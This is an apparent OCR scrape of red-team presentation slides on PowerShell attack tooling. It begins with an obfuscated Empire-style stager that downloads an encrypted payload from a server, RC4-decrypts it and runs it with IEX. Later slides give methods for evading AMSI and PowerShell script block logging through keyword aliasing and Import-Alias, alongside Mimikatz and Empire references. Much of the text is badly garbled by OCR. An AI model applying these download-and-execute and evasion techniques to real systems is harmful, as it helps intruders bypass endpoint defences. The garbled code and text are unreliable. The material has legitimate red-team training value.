EAderS.Add('qukie','RNiCpcvmew=V+?15nnJ64e1d5x16wDZCmmesc=');$dAtA=$aefB.DOwNLUADData($sER+$1 *'GA', 'ADYAMWA=', 'ADEANgAGA' 'MADAAUgA@' '&AMQA'))))'${t}=('{B}{l}{2}{3}{4}' £ /1, %", ", in/pr’
A.LenGtH];-Join[ChARL1](& $R $data ($IV+$K))|IEX "{0}{2}{3}{1}" -f 'User','t',’'-Ag','en'),${U});${ae FB}."Pro x¥"= ( gi ('VARI'+'ablE:A'+'C5') ).V,

(gET-vAriAbLe ("{@}{2}{1}" -f 'bw3','3','Tg') -vaL ):: "DEFauLt NeTW Ork CrEd EntI A LS";${S crI pT:|
Le:UHwOKkX")).ValUE:: "asSc ii".("{e}{1}{2}"-f'G', 'ET', 'ByTES').Invoke(("{1}{7}{3}{6}{2}{s}{5}{e}" -F'™'
y${k}=${AR gS};${S}=0..255;0..255|. ("% M{${I}=(${1+${SH${_}1+${k}[${_}%${K}."cOU Nt"]1)%256;${s} ${_
6;${H}=(${h}+${sH[${1}1)%256;${SH ${1}],${s}[${h}1=${SI[${H}],${SH[${1}];${_}-BxoR${s} (${SI[${1}1+${.
(("{e}{1}" -f 'C','ookie'),("{3}{10}{2}{1}{7H{o}{6}{4}{8H{O}{5}"-f ' Yw=9fT+/F', 'vf', 'pc','R",'Z0", "ni4
}{e}{3}"-f'DaT’','D"','OwnLoAD','a"').Invoke(${s ER}+${t});${I V}=${Da " TA}[0..3];${D ATA}=${d ATA}[4 .. ${
"{o}{1}" -f 'T', 'EX')
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Obfuscation

Obfuscation on its own can get most payloads 90% of the way to
not being detected

The key piece is you still need to remove the common sighatures
that give things away (Structure or Keywords)

[SYSTEM.NEt.SErvVIcEPOINtManaGEr]: :ExXxpECT18@CoONTinUe=0,
$5E18L NEH‘ OBJECT STSTEH Net.WEBClIent;

JOWSEA; Trident/7.0; rv:ill

: : :DeFAULTWEbProxy ; $588cC
$5cr1pt Proxy $508cC.Proxy;

£ ) \Blcorony;

?5@# LLSECURITY!
e
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Keyword Aliasing

AMSI searches for common terms in memory which raises your
threat level

These can be triggered even when not ran directly

For example:
Invglrke—MEIi-m'i Ea‘tzl
A g At line: :
u MlmlkatZ - 'Fu-lnziionclﬁ:roke-wim'ikatz

. This script contains malicious content and has been blocked by your antivirus software.
u El | |p|re + CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException

+ FullyQualifiedErrorId : ScriptContainedMaliciousContent
" PowerSploit

] Etc PS C:\Users\dredg> Invoke-Empire
At line:1 char:1
+ Invoke-Empire

+ P Pk Pt it it Pt P i P P i P P

This script contains malicious content and has been blocked by your antivirus software.

+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyqualifiedErrorId : ScriptContainedMaliciousContent

v Blserumiy,
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LR

37



Keyword Obfuscation

Changing commonly flagged
terms to random strings makes

detection REALLY hard N
Why don’t you do thIS Wlth 1 Invoke-Mimikatz Q8D45
eVerYthing? 2 Invoke-Empire DLXZN

®You can, but it is time consuming
to pick which values to alias

"Requires a lot of entries into the -> Q3D45

database (every alias needs to be -> DILXZN
tracked)

kY Blsecumiy 38



Importing to Avoid Script Logs

Import-Alias can avoid obfuscated script
block logs

File Actio

n View Help

" |mporting the aliasing never hits the log I - 1R

] Windows Color System A || setting

= Supports WebDAV allowing for remote file
locations

Can use other functions like
Import-clixml

If Module Logging is enabled:
" Import-Alias still hits the log

| Windows Customer Expe
_ Windows Defender

| Windows Error Reporting =

. Windows Hello for Busin
| Windows Ink Workspace
| Windows Installer
1 Windows Logon Options
_ Windows Mail
_ Windows Media Digital
| Windows Media Player
_| Windows Messenger
Windows Mobility Cente

_ Windows PowerShell
8 =

| windows 1apur a

| Windows Remote Mana¢

. Windows Remote Shell
| Windows Update
| Work Folders

- All Settings

v @&, User Configuration

" Module Logging is basically impossible to > St

avoid initially

|iz] Turn on PowerShell Transcription
|i, Set the default source path for Update-He

> |\ Edtended ) Standard /
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Import Alias Log

All that hits the log is our
imported aliasing name PS C:\Users\Kevin> Iex

AllowReadStreamBuftfering : False

Ca n e m bed CO m m a n d S AllowkriteStreamBuffering : False

Encoding : System. Text.SBCS5CodePageEncoding
. . . . BaseAddress :
in the alias description Credentials .

UseDefaultCredentials ! False

Headers : 1}

QueryString : {1}

ResponseHeaders :

Proxy : System.MNet.WebRequest+WebProxylWrapper

CachePolicy :

IsBusy : False

Site :

Container

Creating Scriptblock text (1 of 1):

Creating Scriptblock text (1 of 1):
b (c b).description

i (c a).Description

L)
v Blserumiy,
= St
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Good Red Team Practices

Red Teaming is about representing the

threat not “winning” '
= Getting caught is not necessarily bad! I'VE GOT A FEVER
The newest exploits and technigues might » i

not teach the customer much
= (0-days are cool, but don’t provide useful

takeaways
Red Teams are there to represent threats -
and APTs still <3 PowerShell AND THE ONLY PRESCRIPTION IS MORE

PUWEns“Ellmegenerator.net

kY Blsecumiy 42



Y @BCSsECU

HTTPS://WWW.



